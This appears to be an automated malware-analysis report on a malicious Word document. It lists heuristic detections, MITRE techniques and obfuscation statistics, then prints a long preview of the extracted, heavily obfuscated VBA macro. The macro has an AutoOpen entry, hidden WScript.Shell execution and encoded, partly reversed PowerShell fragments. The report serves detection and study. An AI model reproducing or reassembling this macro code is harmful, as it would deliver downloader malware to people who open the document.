MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of arbitrary commands. The AutoOpen macro is present, which is commonly used to initiate malicious activity upon document opening. The primary function of the VBA script appears to be downloading and executing a second-stage payload, as indicated by the WScript.Shell usage and the presence of a suspicious file named 'macros.bas'.
Heuristics 10
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
End Select CreateObject("WScript.Shell").Run KdjLRkc + BYmEZDNYMcNku + RLZIZvQwlvSd + tKAibjq, vbHide Select Case zkTiQH -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run KdjLRkc + BYmEZDNYMcNku + RLZIZvQwlvSd + tKAibjq, vbHide Select Case zkTiQH -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run KdjLRkc + BYmEZDNYMcNku + RLZIZvQwlvSd + tKAibjq, vbHide Select Case zkTiQH -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 68390 bytes |
SHA-256: 0375962f54247cbdd2e6da90748744136d6b6642bb64222c2c78451c742e0c7f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
501 of 847 identifiers look randomly generated (e.g. 'CW71GA0AgZAIDAzAwYAYDA1AgNAcDAmBwNAcDAhB') — consistent with name-mangling obfuscation. Carved artifact contains 14 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BZWZjaw"
Function CQFswJPFuKz()
On Error Resume Next
Select Case iJMPiz
Case 62524
tIVdV = Fix(20242)
RdfCr = Int(73863)
Case 59450
LLqST = ZtaSn
SWtwB = ChrW(FwzDZ)
End Select
LvMtZoRnO = TjtbOo + IpFKi("wCd9[l7H!(<qw(qn!t%w5AgNAYGA4AwNAQGAwAAZAkDAmBQZAMDAwAQZAUDA1AQYAIGA2AAMAgDAkBgNAUGAkBwMAEDAIJnWOkJEWj<", 12, 72)
Select Case iJMPiz
Case 62524
tIVdV = Fix(20242)
RdfCr = Int(73863)
Case 59450
LLqST = ZtaSn
SWtwB = ChrW(FwzDZ)
End Select
Select Case YwHSuf
Case 4449
ZjiIC = Fix(72553)
ltIfA = Int(85374)
Case 73763
ZpkGtY = JuGcq
MvNNDS = ChrW(MtzBY)
End Select
fQwdV = dOIcHW + IpFKi("Xj[!(YAMDA3AQMAEGA5AwMAkDA0AwMAYDA5AQYAMDAmBwNAMDA3AgMAMGAxAww(z]R#].bYjmC<_P7Awtbm%WoOq", 28, 56)
Select Case YwHSuf
Case 4449
ZjiIC = Fix(72553)
ltIfA = Int(85374)
Case 73763
ZpkGtY = JuGcq
MvNNDS = ChrW(MtzBY)
End Select
Select Case CLFdFI
Case 31872
rKKmNN = Fix(5636)
XNqYZ = Int(75093)
Case 57760
TCjhKj = SVMzfa
GmJUHB = ChrW(CWrwz)
End Select
oRzpbQBQbl = KQbSI + IpFKi("NPj.z3)w.BwNAYDAhBQOAIDAhBQZAUGA2AwNAQDA5i1.9!_Vfn_mrl", 14, 32)
Select Case CLFdFI
Case 31872
rKKmNN = Fix(5636)
XNqYZ = Int(75093)
Case 57760
TCjhKj = SVMzfa
GmJUHB = ChrW(CWrwz)
End Select
Select Case Mnwtj
Case 82600
zpnZX = Fix(97119)
jMMoBV = Int(31926)
Case 40672
joPTQz = KqWLY
XNIQmj = ChrW(sswUSi)
End Select
iMRhRKJ = UdhKPhS + IpFKi("YG(3Jww.Z(OSxAwNAUGAyAQYAgDAxAAOAIGA4AgYAMDA1AwNAQDAmBgMAQDAwAwMAUGAwAwYAYDAjBwYAUGA3AQOAIDA5AwNAIDAzAgMll", 3, 92)
Select Case Mnwtj
Case 82600
zpnZX = Fix(97119)
jMMoBV = Int(31926)
Case 40672
joPTQz = KqWLY
XNIQmj = ChrW(sswUSi)
End Select
Select Case QqjYK
Case 12529
VcwVb = Fix(53376)
MQfbXO = Int(54965)
Case 11870
PiEYan = VfrHBJ
ZKNRY = ChrW(AMPiA)
End Select
lLjpzLlAMF = USUSwrC + IpFKi("P3ZaG2$KAtooA_<jFCOAQYAEDAjBgMAIDA3AwNAUGAjBgMAEGAzAgZAYDAkBgMAMDA2A_(9(<J6IM", 10, 49)
Select Case QqjYK
Case 12529
VcwVb = Fix(53376)
MQfbXO = Int(54965)
Case 11870
PiEYan = VfrHBJ
ZKNRY = ChrW(AMPiA)
End Select
Select Case mQNppH
Case 99425
HHVuk = Fix(1024)
DIMdm = Int(86962)
Case 44582
XCoOv = jAwFuh
YWwaj = ChrW(QjpOFv)
End Select
nPndtMGjwY = ZaiXUv + IpFKi("sJM$7]]UHA4AwMAQGAxAwNAIGAyAQYAQDA4AgMAYDA3AAZAcDA2AANAcDA2AwMAEDA0AQZAkDA0AwMAkDAiBgNAQGA2AwYAEDA0AQMAMGAlBQYAkDA4AwMAIDAiBwMAYGAzAQYAIGAhBgNAEDA5AQOAEGA3AgMAYDAx.QhIl", 6, 154)
Select Case mQNppH
Case 99425
HHVuk = Fix(1024)
DIMdm = Int(86962)
Case 44582
XCoOv = jAwFuh
YWwaj = ChrW(QjpOFv)
End Select
Select Case wkaVHC
Case 30589
zjhTr = Fix(94963)
nYLTLp = Int(94998)
Case 98917
wZzQw = HasmUw
vAWilq = ChrW(jXuvt)
End Select
JPqlL = mFCYR + IpFKi("27Qwj4HNQNAUDA0AAOAYDAlBwYAkDAvdb", 4, 22)
Select Case wkaVHC
Case 30589
zjhTr = Fix(94963)
nYLTLp = Int(94998)
Case 98917
wZzQw = HasmUw
vAWilq = ChrW(jXuvt)
End Select
Select Case jVEDDz
Case 3482
XwFuvQ = Fix(49351)
riTXEJ = Int(79123)
Case 86727
jzGbS = zsHjLK
KKiTE = ChrW(VXEoqv)
End Select
VqRiNTUijzm = MWwTt + IpFKi("$jw]sXbQYUmB(84,222,48,16,591,39,332,861,912,1,712,871,79,08,65,702,002,802,04,322,352,511,01,141,59", 2, 86)
Select Case jVEDDz
Case 3482
XwFuvQ = Fix(49351)
riTXEJ = Int(79123)
Case 86727
jzGbS = zsHjLK
KKiTE = ChrW(VXEoqv)
End Select
Select Case iXifn
Case 45362
PYcKZY = Fix(31052)
LNuGEV = Int(62998)
Case 15936
jACIAw = qFYpUE
GLDdOi = ChrW(ZdJzj)
End Select
TLcOamzJzT = wuDuZ + IpFKi("oVNhbK!BQOAQGAkBg!$c", 4, 10)
Select Case iXifn
Case 45362
PYcKZY = Fix(31052)
LNuGEV = Int(62998)
Case 15936
jACIAw = qFYpUE
GLDdOi = ChrW(ZdJzj)
End Select
Select Case rzEfc
Case 27878
idSnMP = Fix(47866)
FIqCn = Int(87033)
Case 55459
fpXkHz = prIjpW
DEzEa = ChrW(aMjwYG)
End Select
ZAoUP = uibrC + IpFKi("wL2iBwNAcDZLtbQ%Cou2u.BG", 15, 7)
Select Case rzEfc
Case 27878
idSnMP = Fix(47866)
FIqCn = Int(87033)
Case 55459
fpXkHz = prIjpW
DEzEa = ChrW(aMjwYG)
End Select
Select Case ohNnm
Case 90005
HpQSSC = Fix(12094)
wtwYdI = Int(30918)
Case 57647
jwiZQ = zTRwIF
unzQZb = ChrW(qzOYf)
End Select
zuzLr = znvzi + IpFKi("Bz1bjBAi!l[6jM2vHvia6lwO#b)jCEGA5AgNAADAmBAMAQDA2AAOAQDA2AgNAUDAxAQYAYGAwAgZAADA2AgMAIGAmBwYAIDAxAAZAYGA1AQMAQGA5AQMAMDA3AwNAIGAlBQZAgDA1AANAQGAjBQNAEGA1AgZAIGAkBQYAUDAyAQYAUDAwAAZAQDAwAQOAUDAyAwYAgDA1AAOAUG6Z", 3, 178)
Select Case ohNnm
Case 90005
HpQSSC = Fix(12094)
wtwYdI = Int(30918)
Case 57647
jwiZQ = zTRwIF
unzQZb = ChrW(qzOYf)
End Select
Select Case bPfVZh
Case 90492
tSLct = Fix(67318)
fzNMU = Int(35725)
Case 56851
KrPHp = MBAcGq
ftIJpq = ChrW(PHJaz)
End Select
FMdwBHJXz = MuLOMY + IpFKi("1((2ivKGfGA0AQYAIGAiBQOAkDA0AQZAkDAzAgYAIGAzAQYAQDA3AgYAEDA1AAOAMGAjBgYAMGA0AwYAQDAzAQOAIDAmBQOAMDAmBAZAYDAmBgYAQDAs%z#X8jUU(OW(%(", 16, 106)
Select Case bPfVZh
Case 90492
tSLct = Fix(67318)
fzNMU = Int(35725)
Case 56851
KrPHp = MBAcGq
ftIJpq = ChrW(PHJaz)
End Select
Select Case ZiwIH
Case 119
ffjia = Fix(9790)
KILoRr = Int(26514)
Case 35727
jFMaiY = zNAijW
TtFSj = ChrW(zDotiO)
End Select
izcHqbz = EVwLvV + IpFKi(")nVGtz$3aGYqRIzr[quz)A]NiiIDAlBQMAgDAyAgZAYGAiBAMAUDAkBQNAMGAxAwNAEDAyAgYAIGAwAQZAQGA2AQNAADA2AAZAIGAhBQMAIDA3AwYAADAhBQOAIGAjBgNAkDAlBwYAUDA2AANAQDAmBAZAYDAhBgNAQDA0AwMAUGA2AwMmkr5.", 7, 150)
Select Case ZiwIH
Case 119
ffjia = Fix(9790)
KILoRr = Int(26514)
Case 35727
jFMaiY = zNAijW
TtFSj = ChrW(zDotiO)
End Select
Select Case otPFGm
Case 90518
oPYjfn = Fix(32100)
uASsm = Int(9594)
Case 91736
zHmCqD = VJRWM
GDTCbp = ChrW(UbMLPf)
End Select
zMvtkl = LCaTHHz + IpFKi("HJ(5P(nvRQV_(jBkQoi2sb77DA5AwNAEDAhBQOAQDAiBwNAEGAhBwNAYDAlBAMAEDA2AAOAQDAkBgZAkDAxAgNAUDAhBgNAEGAzAQZAIDAkBwNAQGAwAAOAUDAhBgNAkDA3AwYAIDA5AQZAMGAxAgMAgDAxAwYAEGA0AAZAkDAxAwMAYGA3AQMAMGAyAgZAcDAmBAMAcDAxAQYAMGAhvJIa", 5, 187)
Select Case otPFGm
Case 90518
oPYjfn = Fix(32100)
uASsm = Int(9594)
Case 91736
zHmCqD = VJRWM
GDTCbp = ChrW(UbMLPf)
End Select
Select Case WXzkz
Case 21283
JnHwh = Fix(44390)
GDDYTY = Int(49281)
Case 90754
rrMBC = FnAiCq
wczcNv = ChrW(SFcoO)
End Select
OnaJjFm = fwUsj + IpFKi("obEQ)4_jA[1[Uh_.gDAxAQZAIDAmBANAADA5AgYAgDAyAwMAYGAxAgMAMDA4AAOAIDAyAAZAUDAyAQMAUGA1AAOAADAwAwNAYGA4AAZAYDAlBQMAIGA4AQMAUGAwAgYAEGAwAwMAUGAlBwYAQDAwAAMAEGAjBwInMsD[47H]Q1sd", 15, 142)
Select Case WXzkz
Case 21283
JnHwh = Fix(44390)
GDDYTY = Int(49281)
Case 90754
rrMBC = FnAiCq
wczcNv = ChrW(SFcoO)
End Select
Select Case rmWBV
Case 7035
AsiHTq = Fix(41072)
QqrdWn = Int(59682)
Case 27370
QiKTdZ = bGTkGR
kbAsd = ChrW(WRZoJV)
End Select
RTFIowshLYN = aiSZj + IpFKi("V<irZAQGA4AQNAYDA2AQNAQDA2AAMAUDAxAgZAkDAzAAZAQGA5AQYAMDA2AANAYDAxAgN!QXfJr!Q", 10, 64)
Select Case rmWBV
Case 7035
AsiHTq = Fix(41072)
QqrdWn = Int(59682)
Case 27370
QiKTdZ = bGTkGR
kbAsd = ChrW(WRZoJV)
End Select
Select Case tvBjob
Case 6129
bDhBh = Fix(10039)
hNtLjh = Int(44782)
Case 40646
kPOjw = uGQBlD
OqbHo = ChrW(tsCzNh)
End Select
cpJGF = iPjOMY + IpFKi("Aoz]wwY1AWtMnG6bh$DwMA7oB!.PXPGJ5h", 13, 3)
Select Case tvBjob
Case 6129
bDhBh = Fix(10039)
hNtLjh = Int(44782)
Case 40646
kPOjw = uGQBlD
OqbHo = ChrW(tsCzNh)
End Select
Select Case JGwwis
Case 71711
pJGwh = Fix(20247)
dXwoct = Int(12962)
Case 81572
nfwDtk = rICRU
fKzrm = ChrW(EMdYUn)
End Select
DimRqOYtqf = QEBVzWa + IpFKi("Ebz2YAgDAlBQYAYDAyAwYAADAjBAZAIGAzAAZAIDAlBANAkDAkBwMYH]2rSD_PW!HbWj", 16, 49)
Select Case JGwwis
Case 71711
pJGwh = Fix(20247)
dXwoct = Int(12962)
Case 81572
nfwDtk = rICRU
fKzrm = ChrW(EMdYUn)
End Select
Select Case lkOJp
Case 49047
VdTwc = Fix(57005)
iPYHaX = Int(1064)
Case 88801
fJOAJ = jTDrNz
aVQvfN = ChrW(zjZls)
End Select
nHphMcPdzfR = dLCwo + IpFKi("BE.$ hh%XzvE#5AQMAYDAzAwMAQDA4AQZAkDA4AwNAIDAlBgMAUGAiBQOAMDA3AQZAEDAjBAZAQDA0AwMAkDAmBgNAIGAjBQZAEGAkBAMAIDAjBgYAQGAjBQZAUGA1AgNAQ%v!wwh1jDmar_mw.Wz!Ema2KwV", 27, 118)
Select Case lkOJp
Case 49047
VdTwc = Fix(57005)
iPYHaX = Int(1064)
Case 88801
fJOAJ = jTDrNz
aVQvfN = ChrW(zjZls)
End Select
Select Case ZhzumX
Case 40857
kCGRjv = Fix(67761)
TiljZK = Int(72954)
Case 80984
FiTYV = qhGSw
LvEUN = ChrW(hvbQli)
End Select
anWjkJ = aBBOhP + IpFKi("jvbG_z1J19<BPm!PYAYDA0AAMAYGA0AANAEDAzAQOAkDA3AwYAQGAzAQNAUGAlBQYAUDA0AwYAEGA2AQOAEGAjBQZAIGA5AQNAEDAwAQZAgDA3AgZAkDAwAwYAYGAiBAMAMDAwAgYAcDAkBwNAcDAyAANAIGAzAAOAUDAiBAOAgDA4AAMAkDA5AgMAQDAkBAZAUDAxAwYAkDA2A6jLi.11V@jH", 12, 191)
Select Case ZhzumX
Case 40857
kCGRjv = Fix(67761)
TiljZK = Int(72954)
Case 80984
FiTYV = qhGSw
LvEUN = ChrW(hvbQli)
End Select
Select Case Lvfjpw
Case 2796
WaqSMV = Fix(87821)
cvbuIc = Int(79632)
Case 13408
bRzAwG = RSCPp
fdjTXP = ChrW(WjKwwb)
End Select
WDijO = KVVjF + IpFKi("OnF_CNbGz<jPf.Bh[6aHCZAAZAUDAkBQMAMDAkBQYAEGAmBwNAEGA0AAMAMDAhBwYAQDA2AANAADA3AwYAYDAjBAMAEDA2AANAcDAhBgYAADA3AAZAQDAwAgYAIDAyAAMAUGAxAQZAMDAjBAZAYDA4AwYAMGA0AAOAMP]($PqKAtZQ73CAF!", 18, 141)
Select Case Lvfjpw
Case 2796
WaqSMV = Fix(87821)
cvbuIc = Int(79632)
Case 13408
bRzAwG = RSCPp
fdjTXP = ChrW(WjKwwb)
End Select
Select Case SwRbw
Case 22663
MMivpt = Fix(68338)
iIzYK = Int(67755)
Case 68534
RiiIsm = mTKPvY
PScYSs = ChrW(KhzUT)
End Select
prsmMztfTrS = OljjGY + IpFKi("%GQ$P.riYjV%YYfj(4cYq9WAyAgZAQDAlBQNAQGAlBQMAMDA0AAMAMDAyAgZAIDAjBgwt5fKbH", 8, 44)
Select Case SwRbw
Case 22663
MMivpt = Fix(68338)
iIzYK = Int(67755)
Case 68534
RiiIsm = mTKPvY
PScYSs = ChrW(KhzUT)
End Select
Select Case FDZbRP
Case 7627
oMSmT = Fix(29464)
EuDjhp = Int(78478)
Case 80131
JqJFKY = FbcuC
amlHXU = ChrW(IZsmB)
End Select
PuiDtTtvi = ZqLzojD + IpFKi("UD9QiWi.jnI )))) )601,78,58,591,751,531,81,GcR%[KJ f(UKWrQiWOKNYY", 23, 32)
Select Case FDZbRP
Case 7627
oMSmT = Fix(29464)
EuDjhp = Int(78478)
Case 80131
JqJFKY = FbcuC
amlHXU = ChrW(IZsmB)
End Select
Select Case VUQzV
Case 41512
fXqXTR = Fix(81770)
uXzbDU = Int(93835)
Case 51612
Zwqwa = hBWIkF
Zufwf = ChrW(knpMM)
End Select
XOYcumclzM = ISXTz + IpFKi("LQ)DZC.Yi4kGDWziWAEDAyAgNAUDAzAQMAcDAiBAZAYGAjBwNAEGAkBANAMGA2AgYAEDAkBwYA]5jdR_%zww(V", 13, 57)
Select Case VUQzV
Case 41512
fXqXTR = Fix(81770)
uXzbDU = Int(93835)
Case 51612
Zwqwa = hBWIkF
Zufwf = ChrW(knpMM)
End Select
Select Case IKFiRp
Case 17403
WTIQlh = Fix(93507)
rSWtS = Int(46240)
Case 15714
Zmzjo = tnLlv
tnpnj = ChrW(YDNzS)
End Select
UuDIzjVJcjk = CiuKt + IpFKi("o79b(wMAcDA2AQOAEGA5AwYAkDAjBQOAADAxAQMAYGA5AQMAEGAhBwNAcDA4C1mO).hU96aEPUbQ.wn4REDIP", 26, 55)
Select Case IKFiRp
Case 17403
WTIQlh = Fix(93507)
rSWtS = Int(46240)
Case 15714
Zmzjo = tnLlv
tnpnj = ChrW(YDNzS)
End Select
Select Case SHrTw
Case 90232
mbOGzM = Fix(93780)
IOjsLq = Int(69850)
Case 69353
sihKvh = DTcUwk
vrjhqt = ChrW(NaVIH)
End Select
WTwwTlA = TqSFaM + IpFKi("3O!lfk7(!W(X7NAADAlBAZAADA2AgMAQGAxAAZAEGAmBAMAYGAhBgNAQDAhBANAYDA4AQMAADAkBQOAgDA2AgZAEGAwAgMAEGAxAAMAcDAxAAOAEDAmBgNAQDAwAQNAgDAjBQZAADAjBANAMGA2AQYAQDAiBwMAIDBVDBaEj13766.hwDw_Ud", 21, 148)
Select Case SHrTw
Case 90232
mbOGzM = Fix(93780)
IOjsLq = Int(69850)
Case 69353
sihKvh = DTcUwk
vrjhqt = ChrW(NaVIH)
End Select
Select Case qJjuPt
Case 75209
XIWMz = Fix(70434)
iwZKdt = Int(23540)
Case 74093
TnjYZz = VkcPHF
tjaINF = ChrW(CPfzC)
End Select
wzIjqM = NOmJiXF + IpFKi("AigZAMGA4AgNAMDAhBAZAcDAmBwMAUGAkBQMAMDA2AwMAQGAyAwYAQGAkBgMAMDA1AgYAADA5AwNAQGAkBgMAEDAiBgMAQDA4AwYAIGAmBAOAMGA0AgYAEGAjBQNAIDAkBwNAEGA2AAMAEGAzAQYAEGAyAQYAEGAjBgNAUDAhBQZAEDAzAQOAkD<iZEGX)<VqRJjm2J.nnfJ3.z[", 26, 181)
Select Case qJjuPt
Case 75209
XIWMz = Fix(70434)
iwZKdt = Int(23540)
Case 74093
TnjYZz = VkcPHF
tjaINF = ChrW(CPfzC)
End Select
Select Case srmlEq
Case 59428
LtvFbq = Fix(38689)
VMqihf = Int(88984)
Case 5297
vVnVwj = nBZIPi
ofCbjV = ChrW(saArXP)
End Select
iGwRl = PVisdXk + IpFKi("!Z_n_j.jZAQDA2AQOAMGAhBgYAADAmBgMAMSmNta]_nlzwWPj3cKShGf7[z4Y<A", 29, 27)
Select Case srmlEq
Case 59428
LtvFbq = Fix(38689)
VMqihf = Int(88984)
Case 5297
vVnVwj = nBZIPi
ofCbjV = ChrW(saArXP)
End Select
Select Case EBAdsp
Case 61593
twGLjS = Fix(5873)
VhKBz = Int(80449)
Case 26694
vMLGn = ZRFWui
BXUTNa = ChrW(WwhLw)
End Select
RfiUSBI = SNMzkAI + IpFKi("R0sslM]Q<j7%iAiz_7O9jOb7B", 11, 2)
Select Case EBAdsp
Case 61593
twGLjS = Fix(5873)
VhKBz = Int(80449)
Case 26694
vMLGn = ZRFWui
BXUTNa = ChrW(WwhLw)
End Select
Select Case Tzwvwr
Case 8841
GswjT = Fix(22892)
UwqMaA = Int(35247)
Case 97783
wkZlAD = LlZAVj
LmZnOq = ChrW(laFhT)
End Select
booPXNOioj = iZXWoPn + IpFKi("$v]GZMCDm5GPrfUDAmBQMAUDAxAQMAADAxAgYAYGAzAQOAYGAmBQMAYGAmBQNAQDA3AgZAkDAyAAZAUDA4AwYAMGAhBAZAIGA3AAMAEDA1AAZAkDAwAwYAUGAjBANAYDAiB!C_NA20Saw", 11, 117)
Select Case Tzwvwr
Case 8841
GswjT = Fix(22892)
UwqMaA = Int(35247)
Case 97783
wkZlAD = LlZAVj
LmZnOq = ChrW(laFhT)
End Select
Select Case buPwa
Case 75939
pFGmTc = Fix(22535)
vNCVu = Int(714)
Case 45656
NdauGu = ubRSVI
jchQcT = ChrW(baPhRb)
End Select
nvAbVVjnt = CZBzBA + IpFKi("rM.]1![XnY)tlnUGA5AANAcDA3AQYAgDAzAgMAIDAiBAOAADAiBQMAYGA2AQZAMGA3AANAcDA6qPwOd", 7, 59)
Select Case buPwa
Case 75939
pFGmTc = Fix(22535)
vNCVu = Int(714)
Case 45656
NdauGu = ubRSVI
jchQcT = ChrW(baPhRb)
End Select
Select Case WbiGO
Case 6878
uDmju = Fix(87033)
YKucNs = Int(95246)
Case 93745
jKczf = uUNUu
CdwWS = ChrW(zVAVB)
End Select
zqaCqFWCOs = cfBJEU + IpFKi("8nh(b[jM(bqq5Mz!YOuWO7MAIGA4AQNAIGA2AwMAQDAzAAOAMGAkBQYAUGA5AAMAkDAkBAMAUGA1AgNAYGAkBAMAQDAwAgYAgDAyAwYAEGAhBQYAYDAhBAMAMGA4AAOAMDAkBQZAYGA5AQZAUGA5AQZAkDA_6Ljm1", 7, 133)
Select Case WbiGO
Case 6878
uDmju = Fix(87033)
YKucNs = Int(95246)
Case 93745
jKczf = uUNUu
CdwWS = ChrW(zVAVB)
End Select
Select Case orYjdO
Case 81682
Jwthit = Fix(64424)
tzSJQD = Int(51748)
Case 21797
riXBWk = JXhqkY
QWPaVY = ChrW(LGdio)
End Select
iqoPztSmff = wisiUD + IpFKi("wv67swHddTsErUceS::]LAhsraM.secIvrespoReTNI.eMITnuR[(inUgNIrTsoTrTP::]lahsRAm.SEcIVReSPOREtNi.EmiTNUr[ ( ( )''nIoj-]2,11,3[EMaN.)'*RDM*' elbaIRav-TEG(( &NR", 3, 144)
Select Case orYjdO
Case 81682
Jwthit = Fix(64424)
tzSJQD = Int(51748)
Case 21797
riXBWk = JXhqkY
QWPaVY = ChrW(LGdio)
End Select
Select Case zsiJM
Case 24965
vfJCEE = Fix(43932)
ZfPmSQ = Int(66165)
Case 38193
uTiAI = OZiGAm
hWrzIB = ChrW(tizMBH)
End Select
WbaJB = PMbkQM + IpFKi("CHOQY%UZXj#]4AwNAIDAkBwYAUDAyAQZAYGAlBQZWC_Gwr74G[CZ", 14, 27)
Select Case zsiJM
Case 24965
vfJCEE = Fix(43932)
ZfPmSQ = Int(66165)
Case 38193
uTiAI = OZiGAm
hWrzIB = ChrW(tizMBH)
End Select
Select Case UztkMZ
Case 55700
aIowu = Fix(10790)
MSoQSf = Int(68987)
Case 31857
rMouj = CWRft
zCibmz = ChrW(pOZMW)
End Select
BbWastCj = vtsER + IpFKi("w.GUIm[vr6wnYOJ9AdPQ[w<z(3BnhP<o7X)AMD(", 2, 3)
Select Case UztkMZ
Case 55700
aIowu = Fix(10790)
MSoQSf = Int(68987)
Case 31857
rMouj = CWRft
zCibmz = ChrW(pOZMW)
End Select
Select Case JBihi
Case 70668
BBZdj = Fix(3264)
KYMLrw = Int(70992)
Case 23340
olrFM = XMqoz
wmvvG = ChrW(TqawV)
End Select
EdmMrRizAh = FIOIP + IpFKi("oQC53!!qW(.AswY!5QDZGXVbkMjAkEAQBARAoHA8BgM5435a05061b3143240f3476111d29467'($(eDoCiNUcolLaLaboLgotgnIRYvVKSjws", 9, 76)
Select Case JBihi
Case 70668
BBZdj = Fix(3264)
KYMLrw = Int(70992)
Case 23340
olrFM = XMqoz
wmvvG = ChrW(TqawV)
End Select
Select Case DatQii
Case 47933
TzfKaU = Fix(98712)
SiIzh = Int(16093)
Case 22691
lvnzcz = oozjWZ
DIcXl = ChrW(FYjHtr)
End Select
hFUvJjJo = zpbhE + IpFKi("HXc%ii(@M9ZW_)ZEGAxAAOAQGAxAwMAIGAlBwYAADA2AAZAcDAwAQMAMDA0AgMAEGAyAQMAQGA0AgZAYGAiBQOAUDAlBQZAYGAhBgYAgDAzAQOAkDA4AAZAQGA1AgYAYGAxAgMAEDAhBwYAUDAzAAZAwHA9AQPAEEARBgWAMFAPBwcAIHA1BwaAYFALBgRAcGAmBwaAIEAZBgRvPKzwGYhi0iiXIO$dlf", 20, 191)
Select Case DatQii
Case 47933
TzfKaU = Fix(98712)
SiIzh = Int(16093)
Case 22691
lvnzcz = oozjWZ
DIcXl = ChrW(FYjHtr)
End Select
Select Case unzsiL
Case 73142
fIKvp = Fix(13140)
jzZjd = Int(88553)
Case 69272
NUDIif = nqMXjz
wXwCfj = ChrW(jHAbGB)
End Select
zizzJInVI = EfdFuO + IpFKi("Ijf4%K3)z)nOVZAcDAmBgNAADAjBAOAIGAlBgZAUDA0Abu7rYW", 7, 31)
Select Case unzsiL
Case 73142
fIKvp = Fix(13140)
jzZjd = Int(88553)
Case 69272
NUDIif = nqMXjz
wXwCfj = ChrW(jHAbGB)
End Select
Select Case tlTDzt
Case 17027
nziHiC = Fix(42263)
pEBFI = Int(14335)
Case 67806
BcPmR = Cfqio
LcEQjZ = ChrW(mCThD)
End Select
wzCWHGzUztp = ImQpKqm + IpFKi("CW71GA0AgZAIDAzAwYAYDA1AgNAcDAmBwNAcDAhBgMAYGAxAQOAgDAmBAMAgDA1AQKvnzlwMC9", 10, 61)
Select Case tlTDzt
Case 17027
nziHiC = Fix(42263)
pEBFI = Int(14335)
Case 67806
BcPmR = Cfqio
LcEQjZ = ChrW(mCThD)
End Select
Select Case pYMfU
Case 19358
iRYXEA = Fix(58009)
ItBcj = Int(32781)
Case 87582
djzlf = XzXhQY
TrcMJ = ChrW(DTPojK)
End Select
GipsbznGnRX = AjLNUZl + IpFKi("WEoLo)HftMGA4AQOAcDA4AwMAkDA5AwMAIGAyAwNAEGAkBQOAMDAmK3oOJ$Xa9K%Wv2NV!AC$j)zdL(", 28, 43)
Select Case pYMfU
Case 19358
iRYXEA = Fix(58009)
ItBcj = Int(32781)
Case 87582
djzlf = XzXhQY
TrcMJ = ChrW(DTPojK)
End Select
Select Case HGwvG
Case 75886
QSBWD = Fix(9517)
iBQsm = Int(50362)
Case 86344
inWXFN = bXAQJF
iNEFR = ChrW(RnkAS)
End Select
mVzvnV = aIEHO + IpFKi("H)doaA2AwYAUGA1AgZAIi_jf37VYJR%7j_[.jCC1N3v89Owri", 31, 14)
Select Case HGwvG
Case 75886
QSBWD = Fix(9517)
iBQsm = Int(50362)
Case 86344
inWXFN = bXAQJF
iNEFR = ChrW(RnkAS)
End Select
Select Case wnwiEI
Case 96016
INFpR = Fix(57767)
jHSvQt = Int(16550)
Case 695
DHfjri = zYKppa
TCKhAj = ChrW(ThkNE)
End Select
kTpMYzIVDKj = jrhKL + IpFKi("bt]Ht)wvG7DXP.z_w99hDzrNloMdK7jAwMAcDAmBANAUGAiBANAkDA4AgNAkDAlBAMAMDAmBgZAQDAmBwYAADAzAwYAEGAxAgYAYDAhBANAYDA0AgZAUDAyAwMAgDA5AAMAUDAwAwYAkDAjBAZAUGAzAgYAMDAhBwNAkDA4AwNAYGA2AANAMDAlBQOAYDA4AQMAEDAjBQOAQGAw7nf7", 5, 176)
Select Case wnwiEI
Case 96016
INFpR = Fix(57767)
jHSvQt = Int(16550)
Case 695
DHfjri = zYKppa
TCKhAj = ChrW(ThkNE)
End Select
Select Case UVSYc
Case 87519
IBdYkO = Fix(90081)
jJqOr = Int(77640)
Case 84707
UviROq = NQFYV
EpmYE = ChrW(OwHbH)
End Select
nlLGLiiNZ = wabnpn + IpFKi("84j5jw(JP3<sVhEAUXf7Fdl.a63S", 13, 1)
Select Case UVSYc
Case 87519
IBdYkO = Fix(90081)
jJqOr = Int(77640)
Case 84707
UviROq = NQFYV
EpmYE = ChrW(OwHbH)
End Select
Select Case uupuw
Case 7381
PivQzV = Fix(92784)
LahTf = Int(18728)
Case 66704
bDqbK = fjZVMY
lrCNlc = ChrW(qzFiDo)
End Select
